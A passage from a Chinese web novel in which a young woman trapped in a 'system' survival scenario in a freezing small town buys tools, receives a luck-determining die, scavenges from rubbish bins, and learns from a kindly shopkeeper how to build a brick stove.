小镇不是很大,道路也都横平竖直。沿着主路一直向西,道路两旁的景象也逐渐变得更加荒凉,房屋几乎看不到了,只剩荒野和稀稀落落的树木。骑了大约三十多分钟,禾小满终于看见了加油站的影子。
前方,一个巨大的金属棚矗立在风雪中,旁边的招牌上印了商标和油价,但都已锈迹斑斑。几台孤零零的加油机站在棚子下面,而棚子底下的那几家原本的小商铺,窗户全碎了,里面黑洞洞的,显然早已人去楼空。
这就是加油站了。
加油站旁边,只有一栋稍大的双层房屋还亮着微弱的灯光。一块饱经风霜的霓虹灯招牌挂在屋檐下,几个字母已经不亮了,勉强能认出是:“罗伊工具店&汽车旅馆”,招牌下方还有一行小字:“经济旅馆——有空房”。
“就是这里了。”禾小满把三轮停好,紧了紧身上的厚外套,推开沉重的玻璃门,走了进去。
门上的电铃也随着发出一声刺耳的“叮铃”声。
和杂货铺不同,这里扑面而来的是一股浓烈刺鼻的机油味和橡胶味。店里空间不小,几盏挂得很高的白炽灯提供着照明。货架很高,密密麻麻地塞满了各种五金配件:大小不一、闪着冷光的扳手、钳子、螺丝刀;成卷的各种规格的电线和胶管;不同型号的轮胎堆在角落;还有螺栓、螺母、垫片等小零件,分门别类地装在透明塑料格里。
而店内的墙上则挂着各种工具:锯子、铁锹、撬棍,甚至还有几把沉重的链锯。最里面的区域,则摆放了一些汽车清洁用品、机油桶和防冻液。只有靠近前台的几个货架,才勉强摆着一些针对司机的基础生活用品,比如泡面、瓶装水和香烟。
整个店铺给人一种杂乱但又有其内在秩序的工业感,冰冷而实用。
柜台后面,一个头发乱糟糟的年轻店员正随手翻着汽车杂志。听到门铃声,他懒洋洋地抬起头,当他的目光落到禾小满身上的瞬间,那慵懒的表情瞬间碎裂。
店员猛地咳嗽了两声,试图掩饰他的笑容:“咳咳……我的天……呃,我是说,下午好女士,您需要点什么吗?”
……我知道我穿的是很好笑,但是收银员小哥你的职业素养呢?哪怕等我转身啊再笑啊喂!
禾小满收下腹诽,一脸正色地说:“是的,麻烦您。我需要一把消防斧,还有一个破窗锤。”
来的路上她已经想好了,买斧头用来砍树劈柴,买锤子用来防身和砸东西。
店员绷紧了他的脸部肌肉,随手往店里一指:“第六排货架,靠后墙,斧子在那儿。破窗锤,估计也在那附近吧,您得自己找找看。”
禾小满道了谢,顺着指示往里走。在第六排货架的底层,她找到了目标:一把红柄的消防斧,斧刃闪着寒光,入手沉甸甸的,很有分量。在旁边她也同样找到了一把拳头大小的安全锤。
想了想,禾小满又走到卖劳保用品的区域,挑了几双手套,还有一双厚实的黑色高筒橡胶雨鞋。雨鞋比棉鞋更防水防污,在这种雪泥交加的环境下,可能更有用。
抱着东西回到柜台,店员又恢复了那副懒散的样子,他拿起消防斧看了看标签,又扫了眼安全锤和雨鞋,用手指戳着收银机。“消防斧25.99、安全锤12.99、胶靴7.99,手套2.97。总共49.94。”
禾小满简直心痛得要滴血了,但是她知道这些东西值这个价,尤其是那把斧子,只能忍痛掏出所剩不多的钞票。
……真是的,系统为什么不给她加个零元购的天赋效果。禾小满递出钞票的手都在颤抖。
店员接过纸币,慢吞吞地找零,他瞟了禾小满一眼,似乎还想评论一下她的穿着:“嘿,说真的,美女,你这一身可真是……别致。我在这店里干了这么久,从未见……”
话没说完,工具店的后门“哐当”一声被推开了。一个裹着毛毯脸色发青的中年男子冲了进来,嘴里骂骂咧咧:
“该死,迈克!4号房里那个破暖气彻底完蛋了!现在他妈的水管又冻裂了!水淌得到处都是,然后全冻上了!卫生间里现在是他妈的溜冰场!罗伊那个混蛋到底什么时候找人修这破玩意儿?房间里面冷得他妈的冰窖一样!”
被叫做迈克的店员屁股抬也没抬一下,只是继续慢悠悠地数着零钱。
“早跟你说了,埃德。罗伊在南边沙滩度假晒太阳呢,我估计不到开春他是不会想起这个破地方的。之前那个负责维修的老约翰?哈,他上个月就辞职不干了。现在就我一个人在这儿撑着这破摊子。”他耸耸肩,继续拨弄着收银机。“罗伊别说没给我付修水管的钱,连我收银员兼保洁兼出气筒的工资都欠着呢!“
”你想要暖和点?试试把房间里那些旧家具烧了吧,记得别把房子点着就行。”迈克的嘴角撇到一旁,语气里满是嘲讽。
禾小满在一旁默默听着,从迈克那充满怨念的语气里,敏锐地嗅到了一股同为被压榨牛马的熟悉气息。
埃德气得直哆嗦,大吼:“烧家具?你开什么狗屁玩笑?我是付了钱住店的!我要的是有暖气的房间!不是他妈的篝火野营!”他愤怒地一巴掌拍在柜台上,震得那本汽车杂志都跳了一下。
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“OK,OK!冷静点,老兄。”迈克脸上带着明显的不情愿和敷衍,但还是磨磨蹭蹭地站了起来,把找零和小票塞给禾小满后,才跟着骂骂咧咧的埃德,走向后面通往旅馆区域的门。“我去看看,行了吧?但我可不敢保证能修好什么,我又不是专业的……”
随着埃德和迈克的离开,店内只剩下独自沉思的禾小满。
水管冻裂?禾小满回想起埃德的一番话,心中一沉。确实,照这个温度趋势下去,民用自来水系统甚至电力系统因为低温而瘫痪,几乎是迟早的事。这可不是什么好消息。
当然,如果非要自我安慰一下,也有个算不上好消息的好消息:她那间”叙利亚风“安全屋里,好像除了那个光秃秃的电灯泡,也没什么电器值得瘫痪了……影响不大。
而迈克那句“试试把房间里那些旧家具烧了吧”倒是意外地提醒了她——如果以后真的弹尽粮绝快冻死了,她可以考虑把安全屋里那张破书桌或者那个掉漆衣柜给劈了当柴烧。
……虽然砍了之后,她家唯三的家具就去了俩。
本来还想趁着买东西的机会,和店员迈克多聊几句,打探点小镇和天气的消息,现在看来是没戏了。禾小满抱起沉重的消防斧、安全锤和新买的雨鞋手套,推开门再次走入风雪中。
外面的天色已经暗沉了下来,灰蒙蒙的,风雪也似乎更大了些。禾小满看了一下手表,已经下午4点多了。她不打算再继续探索了,天黑之后在这种冰天雪地的陌生地方行动太危险。预估骑回安全屋还要一两个小时,必须在天黑前赶回去。
禾小满清点了一下身上的物资,现在她手头的现金只有22.06了,但与之相对的,她成功买到了她需要的食物和工具:
【燕麦片×10包、红薯土豆×2袋、午餐肉罐头×4罐、黄油×4块、压缩饼干×20包、巧克力×4条】
【消防斧×1、破窗锤×1、劳保手套×3、胶鞋×1、手电筒×1、打火机×1】
还不赖,比她想象中的好多了。
回去的路依旧是又冷又累,甚至因为车上满载的货物显得更吃力了,但这正给禾小满的心中提供了底气,比起一开始那种茫然和恐慌,她现在逐渐找到了目标和方向。
在风雪中,禾小满忽然想起了她之前玩过的一款生存游戏,那款游戏的新手指引只有一句话——你最好在天黑之前找点吃的!
唔,她至少在天黑之前找到吃的了。而她的安全屋,虽然又破又空,但至少完全属于她。
是时候回家了。
5. 【极寒天灾】
第二天早晨,禾小满是被冻醒的。尽管昨晚睡前她已经用被子和衣服把自己裹成瑞士卷了,饶是如此,寒气还是钻过层层屏障,让她一夜都在半梦半醒的哆嗦中挣扎,根本没睡安稳。
她摸索着坐起来,感觉全身关节都像是久未上油的门轴,无比僵硬。起床后她的洗漱仪式也极为简略:用一块冻得硬邦邦的毛巾,沾了点冷水,胡乱在脸上蹭了几下,就算完成了。
不要问她为什么没用热水,因为禾小满发现有一个问题急需她解决,那就是搞个炉子。
她的厨房虽然有锅,但是没有任何燃气。而这么大一口锅,平地烧火把它加热又太折腾,导致她一整晚连口热水都喝不上。
随便塞了几口饼干勉强果腹后,禾小满走到书桌前开始仔细整理背包里的物品,为今天的出门行动做准备。
昨天在外面只顾着翻找钱包和搜寻显眼的物资,背包里好些零碎东西她都没来得及仔细查看。今天静下心来整理时,她发现里面混着一个看起来颇有意思的物品——垃圾夹。
就是市面上最常见的那种款式,金属杆身,塑料的手柄和钳嘴,可以折叠,展开后大概有九十到一百厘米长。禾小满看着甚至有几分眼熟,她家里好像就有个几乎一模一样的,还是之前参加社区志愿活动,捡垃圾和烟头时发的。
真正让它变得特殊的,是当她的手指触碰到垃圾夹时,旁边竟悄然浮现出泛着幽蓝色光泽的系统提示屏:
【垃圾夹】(Lv.1)
【道具类型:特殊类】
【垃圾夹,就该夹垃圾不是吗?】
只有简简单单三行字。第一行是名称和等级,这暗示着道具或许还有提升空间;第二行标明了“特殊类”,这让她不禁猜想系统是否在这个副本里散落了多种类型的道具,说不定她以后还能找到别的;至于第三行,这句带着反问语气的话,让禾小满忍不住挑眉。
她当然知道垃圾夹是干什么用的,但这意味深长的反问总让她觉得背后有坑,仿佛在暗示如果不用来夹垃圾就会有什么不妙后果,或者……用它夹垃圾会触发什么特殊效果?比如效率倍增?或者能夹到点不一样的东西?
把垃圾夹从头到尾、从钳嘴到手柄都仔细摸了个遍,除了最初的提示外,再没触发任何新的信息或隐藏机关。禾小满略感失望但又充满好奇,最终还是把垃圾夹塞回了背包里。
好吧,今天就带着它出门,试试看它到底有什么名堂。
继续收拾东西,折叠刀、手套、打火机……被她一件件在背包里。
无意间,她的手指碰到一个硬硬的带着棱角的小东西。掏出来一看,是颗骰子,不知被塞在了背包的哪个角落,昨天完全没注意到。
骰子很普通,是最常见的那种塑料六面骰。
禾小满拿起骰子,随手抛了几下。骰子落在木箱上,滴溜溜转了几圈,最终慢悠悠地停下来。
四个点。
就在它停稳的刹那,那道熟悉的机械音突兀地在她脑海深处响起:
【今日运势判定:小吉。诸事顺遂,或有意外收获。】
咦?
禾小满微微一怔,倒不是被吓到,更多的是感到一种果然如此的新奇感。有了道具垃圾夹,系统再送她一个道具骰子也不算不合理。她弯腰捡起骰子,心脏因为期待而加速跳动了几下。
“这也是道具吗?运势骰子?”她低声嘀咕,并没有太多的恐惧,反而涌起一股强烈的惊喜和希望——在这样朝不保夕的末世里,任何一点额外的帮助都像是雪中送炭。
禾小满带着验证的心态,又抛了一次。
四个点。
再抛。
四个点。
再再抛。
还是四个点!
直到确认这骰子似乎真的被“四点”焊死了,她才停下手。
与此同时,系统的提示音再次响起,比之前更正式一些:
【检测到宿主成功触发道具:命运骰子。】
骰子本身也浮现出与系统光屏同源的幽蓝色微光。禾小满伸手轻轻触碰光点,更多的信息流淌而出:
【命运骰子】(Lv.1)
【道具类型:辅助类】
【来源:此骰子并非系统制造,而是某个高等文明收藏品的数据投影。其原型源自一位真正的命运赌徒——他曾以凡人之躯,凭借这枚骰子与诸多不可名状的存在进行豪赌,屡屡绝境翻盘,甚至一度赢下了近乎永恒的生命与权能。然而,他最终在一场赌上一切的游戏中,他却连着扔出了六个一点而输掉了自己的“存在”本身,彻底湮灭。唯有这枚承载了他部分气运与执念的骰子遗留下来,被系统数据化后,尘封至今……小心,使用它,你便无形中接过了他的赌局。】
【技能一:吉凶预兆】每日可投掷一次,根据结果获得当日基础运势判定(大凶、凶、平、小吉、吉、大吉),判定结果将影响事件概率与物品发现几率。
【技能二:???】
【升级材料:生存点数x 10】
“哇哦”禾小满轻声惊叹,巨大的惊喜感包裹了她。虽然这骰子的前任主人下场听起来有点惨烈,但不可否认,这绝对是个好东西!一个能预判每日吉凶的辅助道具,在这危机四伏的末世里,价值不可估量。
“好家伙!系统终于大方了一次!”她喜滋滋地捏着骰子,但很快,一丝疑惑和微妙感浮上心头。“不过……先是捡垃圾的夹子,然后是赌博用的的骰子,这画风也太神奇了。”
……嗯,因为运气差到极点而输光一切、沦为流浪汉,在捡垃圾的日子里仍然不忘掷一把骰子——这倒是跟她眼下这“副本开局即Homeless”的处境微妙地契合上了。
吐槽归吐槽,她的动作却毫不含糊。她小心翼翼地将骰子擦拭干净,然后郑重其事地把它揣进冲锋衣最内侧的口袋,紧紧贴着心脏放好,仿佛这样就能沾上点好运。
看完物品介绍,她深刻意识到这骰子绝非寻常。无论是它“辅助类”的定位、那段充满诡异色彩的背景故事,还是那个引人遐想的未解锁技能,都明确昭示着它的不凡。
她很快做出了决定:以后骰子说吉她就莽,骰子说凶她就苟。每日的行动指南,就交给这枚命运骰子来钦定了!
成功收获新道具后,禾小满出门的心情变得愈发急切起来。她不仅想立刻出门去验证一下“小吉”运势能带来怎样的“意外收获”,更有一大堆生存物资亟待收集呢!
目前最急切需求的就是炉子。
她打定主意,准备去冯阿婆那儿碰碰运气,看能不能把杂货铺角落里那个铸铁炉子买下来。
只是想到冯阿婆那温暖的眼神和慷慨的帮助,禾小满又有点纠结:这是阿婆的私人物品吧?说不定人家现在也需要那个炉子呢?自己开口买,会不会显得太不识好歹?而且,最关键的是,她现在也没几个子了。
带着一肚子盘算,禾小满再次骑上她那辆忠诚可靠的三轮,嘎吱嘎吱地出发了。寒风凛冽,系统显示,今天的室外温度已经降到了零下10℃,但揣着命运骰子,她心里莫名多了点底气。
骑过一片居民区时,一阵激烈而焦躁的争吵声从一栋房子里传来,穿透了风声:
“该死的!电话怎么都打不通!这鬼天气!”
“空调也不工作了!一点反应都没有!天啊!”
“停电!又是停电!这日子没法过了!”
停电?
禾小满猛地捏住刹车,竖起耳朵。
对啊!她这才后知后觉地意识到,昨天骑车过来,虽然房屋稀疏,但一些窗户里还亮着暖黄的灯光。而今天,一路骑来,目之所及几乎都黑洞洞的,死寂一片。
电力系统瘫痪了?这在零下几十度的鬼天气里,简直是雪上加霜。没有电意味着空调停摆、冰箱失效、照明困难……生存难度直接翻倍。
当然,对于除了灯泡以外啥电器都没有的她,影响小了很多,她早上在家甚至没意识到已经停电了。
……哈哈,穷也有穷的好处,幸好幸好。
禾小满还在思考停电的事时,目光不经意间扫过那栋传出争吵声的房屋的篱笆旁——一个半人高的、覆着薄雪的灰色垃圾桶,就那么安安静静地立在路边,就在她触手可及的地方。
一瞬间,无数画面涌进禾小满的脑海:
小区里精明的大妈们日夜蹲守在垃圾
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桶前,只为抢先一步抢到瓶子和纸箱卖钱;留子积极分享自己的“淘宝”经历,如何在床垫开局下凑齐半屋九九新的家具;毕业季时,二手群消息爆炸,学弟学妹们两眼放光地在毕业生宿舍里搜寻遗落的“宝藏”;至于她禾小满,也不是没有在鹈鹕镇的垃圾桶旁和莱纳斯谈过心……
“嘶——” 禾小满倒吸一口凉气,眼睛却“噌”地亮了,仿佛发现了新大陆。
拾荒这门手艺,无论在虚拟游戏还是现实生存中,都堪称性价比之王!有【流浪汉】的身份天赋、【垃圾夹】这种专业工具、再加上【命运骰子】的运势加持,天命在她,此时不点亮这项神技,更待何时?
果断停好车,麻利地戴上昨天买的劳保手套,把背包里的【垃圾夹】抽出,禾小满怀着一种近乎虔诚的激动和期待,猛地掀开了垃圾桶的盖子。
垃圾桶里,满满当当,是值得一个大大的感叹号的那种。
切片面包!过期了,没事,包装完好,她就笑纳了。
空的易拉罐!铝也是资源,收着。
几个鸡蛋壳!啧,怎么吃独食呢,也不给她留一口,差评,丢掉丢掉。
看起来还挺新的玩具小车!不知道能干啥,但先拿着再说。
……
真是富裕的家庭啊,带动她也共同富裕了。禾小满喜滋滋地翻着垃圾桶,感受着“开盲盒”的乐趣,却听见房屋里的争吵声似乎发生了变化。
争吵声从二楼来到了一楼,声音越来越大,并且伴随着沉重的脚步声,似乎有人正怒气冲冲地朝门口走来。
禾小满心里一紧,做贼心虚的感觉拉满,手上动作瞬间加快,化身无情的掏垃圾机器。
死手,快翻啊!禾小满的手指在垃圾中飞快翻检。
咔哒——
门锁转动的声音清晰得令人心惊肉跳。
皮特怒气冲冲地拉开房门,寒风裹着雪花立刻灌了他一脸。他烦躁地裹紧外套,准备去屋外电箱看看,还有没有最后一丝挽救供电的希望。他随意地转头,目光扫过了自家篱笆旁的垃圾桶。
嗯?垃圾桶盖子怎么是歪的?里面的垃圾袋好像也被人翻动过,变得乱七八糟。
他疑惑地走过去,探头看了看,只见垃圾被翻得底朝天,最上面还丢着他前几天扔掉的鸡蛋壳。
“见鬼,是浣熊又来了吗?还是哪家的捣蛋鬼干的?” 他嘟囔着,完全没注意到远处雪地里,一个身影正蹬着三轮车,飞快溜走了。
初战告捷!
禾小满仿佛一瞬间被打通了任督二脉,领悟了末日生存的一大奥义。她骑着车,眼睛像雷达一样,精准扫描路边的每一个垃圾桶,以及那些被随意堆放在路边、明显被主人丢弃的旧家具。
捡垃圾的快乐是什么?
是零成本的极致白嫖!
只要出一双手,弯一下腰,就有机会获得宝贵的物资,这种投入产出比简直无敌。
是开盲盒般的刺激与惊喜!
下一个桶里是发霉长毛的面包,还是未开封的美味罐头?垃圾的种类可比市面上任何盲盒都丰富得多,真正的一瞬天堂一瞬地狱。
是变废为宝的巨大成就感!
别人随手丢弃的垃圾,在她手里可能就是救命的物资,是可以让她那间破安全屋一点点充实起来的砖瓦。这种化腐朽为神奇的满足感,无与伦比。
几百万年前人猿能因为找到banana而开心,几百万年后人类也能因为找到rubbish而开心。
“找到好东西了!”这种最原始最直接的收获感,果然让人无比上瘾。禾小满兴致勃勃,一路骑一路捡,誓要翻遍目光所及的每一个垃圾桶。
不知是【拾荒者的嗅觉】在发挥作用,小镇居民的作风一贯如此,垃圾桶和路边的宝藏无论是数量还是质量远超禾小满的预期。
一些食品只是刚刚过期一两天,包装完好无损,在这零下十几度的天然巨型冰柜里,它们甚至没有变质发臭的迹象,只是被冻得硬邦邦。她还翻到了几件还算完好的旧衣服、几块大小不一的木板、两个虽然掉了只眼睛的布娃娃、甚至还有一个只是表面有点脏的小木头橱柜……
收获颇丰!
6. 【极寒天灾】
接下来的一段路,禾小满一路骑一路捡,她也使用了【垃圾夹】,却一直没触发什么反应,仿佛它真的只是一个普通的垃圾夹而已。
等禾小满终于骑到杂货铺门口时,她的三轮车后斗已经堆起了一座颇为壮观的小山。
看到禾小满和她那画风清奇的三轮车,出来倒水的冯阿婆都忍不住惊讶:“姑娘,你这一大早是去干什么啦?”
禾小满嘿嘿一笑,得意地拍了拍车斗,脸上尽是骄傲。
这可是她上午行动的结算成果!
推开门走进杂货铺,禾小满立刻感觉到不同:一股寒意扑面而来,杂货铺比昨天冷多了。
角落里那个铸铁炉子已经被挪到了收银台后,正燃着微弱的火苗,冯阿婆搓着手,坐在炉旁的椅子上,愁眉苦脸地抱怨:“早上忽个停电,空调成了摆设,这边又偏又没装暖气,冻死个人!还好有这个家伙。“她指了指炉子,“先前搬出来只是想烧水煮茶的,现在没想到真得靠它烤火取暖了。”
禾小满心中一沉,残留的喜悦心情被冲淡了不少,想买炉子的心思瞬间凉了半截。
冯阿婆现在全指着这个炉子取暖呢,而且人家对自己那么好,怎么好意思开口?
她讪讪地回答道:“是啊,太冷了,这停电停得真不是时候……阿婆,您知道镇上哪里还能弄到类似的炉子吗?”
冯阿婆起身,拿起炉子上的水壶,给禾小满倒了杯热茶递过去,“炉子?那可不好找喽。我这个还是好几年前在二手市场淘到的,也是一个同乡回家前便宜卖给我们的。”看到禾小满眼神透露出失望,冯阿婆想了想,又说:“不过嘛,用砖块垒个简单的灶台,倒是会的。小时候住村里的时候,没少弄这个,临时用用还挺好使。”
禾小满的眼睛瞬间又亮了,“真的?阿婆,能教教我吗?”
“简单得很!”冯阿婆来了精神,拿起一根烧火棍,在炉子旁的地面上比划起来,“首先,底座要稳,找几块平整的大石头或者厚实的水泥块垫底,最好能稍微离地,防潮。然后找砖头,红砖最好,耐火。没有的话,结实点的石块也行。”
她画了一个口字形:“砖头就这么围着垒起来,不用太高,三四层就够,前面留个口子添柴扒灰,后面最好也留个小缝或者用一根铁管做烟道,不然烟全闷在屋里可不行。每层砖头之间最好抹点黄泥粘上,更结实不漏风。没泥巴就挑形状规整的砖,尽量拼凑紧实些。”
“最关键的是上面,”冯阿婆重点点了点口字形的上方,“要架东西烧,得找几根粗铁条或者旧炉箅子横在上面,锅啊壶啊才能放得稳。要是实在找不到铁条,找几根粗壮耐烧的石条搭上也勉强能行,就是锅可能热得慢些。”
禾小满听得极其认真,努力记下每一个细节:“砖头之间要抹泥……留烟道……上面要架铁条……阿婆,这砖头我上哪儿找去?还有黄泥呢?”
冯阿婆摇摇头:“这我就不知道了,这镇子上好几年没见谁家建新房子了,现在也都是木头房子多。砖头……大概只有那些特别老的旧房子,或者废弃的建筑里才有吧?黄泥的话……路边找块地挖挖看?”
看来得靠自己了。禾小满趁机打听小镇的整体布局:“阿婆,咱们这小镇,除了您这儿和西边的加油站,还有别的什么地方吗?比如以前的警察局、仓库、或者废弃的工厂什么的?”
“这个镇小得很,” 冯阿婆喝了口热茶,慢悠悠地说,“这儿差不多就是镇中心了,统共也没几家店。一个是我这杂货铺,再就是街角那边的酒馆。”
“北边之前有个学校,不过去年也说因为隔壁镇建了新学校,给关了。南边挨着山,荒得很,路都绕着那边修,没多少人家。东边也没啥,就房子多一点,住的人多一点。西边就是你昨天去的加油站了。”她大致指了指各个方向。
禾小满心里默默盘算着小镇的布局,她那个安全屋大概就在南边靠山的位置,那边确实更荒凉些。看来她得抽时间把小镇仔细探索一遍,特别是那个废弃的学校。学校里地方大,说不定就藏着点她需要的东西。
就在她们闲聊的期间,杂货铺的门不断地被推开。进来的居民个个面带忧色,开口问的都是食物:
“汉克太太,还有面包吗?任何面包都行!”
“罐头呢?豆子罐头、肉罐头,什么罐头都可以!”
“麦片!给孩子吃的麦片有没有?牛奶也可以!”
“怎么压缩饼干也没有了?平常这玩意儿都没人买啊!”
然而货架上,原本就不算充裕的食品区此刻更是肉眼可见地空了大半,许多货架都空荡荡的,只剩下价格标签孤零零地贴着。
冯阿婆只能一遍遍耐心地解释:“抱歉啊吉姆,面包早就卖光了,罐头也缺货……艾丽丝,你要的麦片?也没有了,牛奶好像还剩最后一瓶……杰克,压缩饼干确实也没有了,最后一袋昨天被这位姑娘买走了。”她无奈地指了指旁边努力降低存在感的禾小满。
禾小满在一旁默默缩了缩脖子,假装研究地上的砖缝。
看来这物资紧缺的局面,似乎也有她昨天那番采购的一份功劳。
这时,一个满脸通红、身材壮硕的男人大阔步地走到柜台前,嗓门洪亮,带着明显的不满:“汉克太太!吃的!我家里一点食物都没有了!平常大家不都是在你这买吗?但现在你这怎么什么都没了!” 他烦躁地拍了下柜台,震得上面的小摆设和记账本都跳了一下。
冯阿婆连忙安抚,轻声说道:“鲍勃,冷静点,别着急!我家老头子已经开车去城里进货了!这鬼天气路不好走,但他肯定快回来了!你明天,明天一早再来,肯定有货!”
“明天?我他妈今晚就得饿肚子!” 叫鲍勃的壮汉愤愤地骂了一句,狠狠瞪了一眼旁边“无辜”的禾小满,摔门而去。
看着晃动的门帘和冯阿婆疲惫的神色,禾小满心里沉甸甸的。
“这么冷的天,路又滑,进货和开车来回也太危险了。而且现在全镇的人好像都指望着您这儿,东西卖得实在太快了,还会遇到像刚才那样……不讲理的顾客……” 禾小满顿了顿,低声说,“阿婆,我有点担心,这样下去,以后情况可能会变得更难。” 她没把话说透,但彼此心里都明白,持续的停电和严寒意味着什么。
冯阿婆叹了口气,没再多说什么,只是默默地拿起火钳,又往炉子里添了一小块木头,让那微弱的火苗能持续得更久一点。
禾小满很为冯阿婆担忧。尽管不断提醒自己这可能只是个游戏副本,但这位老太太是切切实实给了自己温暖和帮助的人。就算把所有人都当作NPC,在这个冰冷陌生的小镇里,冯阿婆也是最特殊、最值得珍惜的友好单位。
但是,冯阿婆在小镇生活开店这么久,如果自己贸然劝她赶紧关店躲灾,冯阿婆多半不会乐意,也未必相信她的话,毕竟冯阿婆对这里的了解和感情比她深得多。
禾小满心里默默想着,看来只能以后再找机会,旁敲侧击地劝劝冯阿婆了。
她用所剩无几的钱买了一包粗蜡烛,然后告别了冯阿婆。
把三轮车推回道路上,禾小满打定主意,明天就去北边那个废弃学校探索一下。首要目标就是找到能垒灶台的砖块,实现取暖自由!
目光扫过街角,一块饱经风霜的木板招牌映入眼帘——老橡树酒馆。禾小满忽然想起冯阿婆刚才的话,这就是小镇上除了杂货铺外的另一家店了。昨天骑车来去匆匆,竟然没注意到这里。
或许,里面能打听到点消息?或者,运气好还能捡捡漏,找到点别人不要的东西?禾小满抱着微弱的希望走过去。
还没等她走近,酒馆的门就被人从里面“哐当”一声推开了。一前一后走出来两个人。前面那个满脸通红、骂骂咧咧的,正是刚才在杂货铺发完脾气的壮汉鲍勃。后面跟着一个留着两撇滑稽小胡子、系着脏围裙的瘦高男人,看样子是酒馆的老板或伙计。
“真他妈的一滴都没了?威士忌呢?伏特加呢?哪怕这种最便宜的啤酒,再给我拿一罐也行啊!” 鲍勃不甘心地嚷嚷,手里紧紧攥着一罐啤酒。
小胡子男人不耐烦地挥挥手,拿出钥匙转身锁门,没好气地说:“没了!真没了!鲍勃,昨晚你的好哥们比利冲进来,像疯了一样把最后几瓶烈酒全扫光了!你手里这罐啤酒,就是店里最后一丁点酒精了!这鬼天气,谁不想喝两口暖暖身子?理解一下!”
“那……那啥时候才有?”鲍勃晃了晃手里那罐孤零零的
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啤酒,语气软了些。
“天知道!” 小胡子“咔哒”一声锁好门,眉头紧锁,能夹死苍蝇,“我今天给供货的老约翰打了一天电话,狗屁的回音都没有!电话线估计也冻出问题了!看来这趟进货,老子得亲自过去跑一趟了!等我什么时候回来再说吧!”
“真他妈的倒霉透顶!” 鲍勃愤愤地朝地上啐了一口,把那罐宝贝啤酒往怀里一揣,骂骂咧咧地离开了。
禾小满站在不远处,默默看着这一幕,心里对捡漏的侥幸也消失了。
酒馆也关门了,最后一点可能的物资也被清空。天气只会越来越冷,道路状况未知,去城里采购更是前途未卜。这小镇的补给线,眼看就要断掉了。禾小满原本还想进去碰碰运气,现在也只能作罢。
“时间就是生命,垃圾……就是物资! ”禾小满看了眼天色,距离天黑还有段时间。她立刻调转车头,朝着回家的方向,开始了新一轮的扫荡。
经过上午的实战演练,她已经对记忆里各位拾荒者前辈的经验技能融会贯通,感觉自己的拾荒技能已臻化境,也总结出了几条捡垃圾的黄金法则:
一、全副武装:劳保手套必须戴好,防割伤防污渍;大号塑料袋掏洞套头上,罩住头发和外套,最大限度减少细菌和异味直接接触,心理上也更能放得开手脚。
二、善用工具:有的垃圾桶太深,用垃圾夹或者长树枝就能轻松拨开上层垃圾,看清下方物品,既避免了弄脏衣物,也让翻检效率大大提高。
三、精细管理:车斗上事先铺好防水布,捡到的东西按类别摆放——食物、布料、木头、金属……分门别类,界限分明,坚决拒绝交叉污染!辛辛苦苦捡出来的宝贵物资,绝不能在自己的车斗里被污染串味。
四、宁缺毋滥:捡食物,只捡包装完好、密封干燥的。如果食物周围有可疑的液体渗出,或者紧挨着腐烂物,看起来再好也得忍住诱惑,现在这医疗条件下闹个肚子,很可能直接要了小命。
下午的天气似乎好转了些,虽然依旧干冷刺骨,但持续了一天的风雪逐渐停了,能见度也高了不少。当夕阳的余晖给雪地镀上一层浅金时,禾小满的三轮车已经堆起了一座摇摇晃晃的垃圾山,晃晃悠悠地骑回到她的小屋前。
禾小满哼着不成调的小曲,兴致勃勃地开始卸货,清点今天的战利品:
【食物组】过期面包×3袋、临期麦片×2盒、小包装过期奶粉×2条、有点蔫的樱桃萝卜×5个、皱皮但没烂的紫甘蓝×3颗。
【保暖/材料组】厚薄不一的旧衣服×4件、大小不一的木板×7、空易拉罐×10
【家具组】有点脏但主体完好的小木头橱柜×1、造型古朴的小茶几×1、结实的小板凳×1
【杂七杂八组:】玩具小车×1、布娃娃×2、好看的石头×3……
今天的收获可以说是相当富裕了。有蔬菜,是珍贵的新鲜维生素来源;有衣服,无论穿身上还是铺床上都行;有家具,她就不必只坐在床上了,还可以收纳一下物品;有玩具……不管用来干啥,不要钱就对了。
唯一的遗憾是回来的路上,又看到了一套结实的旧桌椅,可惜三轮车装不下了,禾小满只能暂时含泪放弃。不过还有机会!她把那套桌椅拖到了灌木丛后,期望那些枝叶多少能挡点风雪,好让她下次有机会再来搬。
最后一件宝贝搬进小屋,禾小满叉着腰,环顾着这个被各种破烂逐渐填充的空间,安全屋内依旧冰冷简陋,但已经有了一丝生活气息。
看着这些白嫖来的物资,禾小满感到一种前所未有的富足感和成就感油然而生。
这哪里是垃圾?这都是她禾小满凭本事捡回来的生存资本!
“呼,累死我了。”
整理好今天的战利品,禾小满长出一口气,一屁股坐在小板凳上,拿起一个樱桃萝卜,拿小刀仔细削了削皮,“咔嚓”咬了一大口。
清甜微辣的汁水在口中爆开,带着一丝土腥味,这粗糙原始的味道,却比任何山珍海味都让她满足。
“真是……富足的一天啊!” 禾小满眯着眼,感受着嘴里那一点真实的甜味,疲惫的身体里充满了干劲。
捡垃圾真好!明天她还要继续捡!
7. 【极寒天灾】
禾小满原定探索学校的计划暂时泡汤了。
想象很美好,现实很骨感。
骰子说一不二,昨天才让她享受了四点的万事顺遂,今天马上就让她感受到了一点的倒霉透顶。
【今日运势判定:大凶。诸事不宜,动辄得咎。宜蛰伏避险,谨言慎行。】
孤零零的红色圆点,仿佛在嘲讽地笑她。
望着骰子,禾小满十分挣扎,她真的很想发挥自己的天赋效果,去学校捡垃圾……不是,是进行严肃的资源勘探与回收工作。毕竟“大凶”只是建议蛰伏,又没说绝对禁止出门对吧?万一只是有点小磕绊呢?
【拾荒者的嗅觉】和【命运骰子】的效果在她脑海中打架,最终还是贪婪占据了上风。
骰子大神,她就出门看看,就看一眼。
刚一出门,还没骑几步,一阵精准的邪风吹来,角度和力度正正好,她头顶充当帽子的毛巾“嗖”地一下飞走了,以迅雷不及掩耳之势消失在茫茫风雪中,连个反应的时间都不给她,更别提任何抢救的机会了。
……靠!刚出门就爆装备。
禾小满看着毛巾消失的方向,心里凉了半截,开始严重怀疑自己的决定。
再骑几步,她只听见“框”的一声闷响,车身猛地一歪。她急忙下车一看,只见三轮车的前轮不知怎么精准地陷到了一个仿佛刚刚刷新出来的坑里,卡得结结实实。
明明昨天她也骑过这段路,没有这个坑的!
禾小满冷汗都下来了,她可就这一个车啊!她手忙脚乱,连拉带拽,赶忙把车轮拔出来。检查了一下似乎没有大碍后,她立刻掉转车头,打道回府。
……对不起骰子大神,她不该质疑它的旨意,是她僭越了。
回到安全屋后,世界仿佛瞬间清静了,不再有那种诸事不顺的感觉。
禾小满只能安慰自己:俗话说得好“铱星天下矿,蝙蝠天种田”,今天还是按照骰子大神的旨意,在家苟苟为妙。
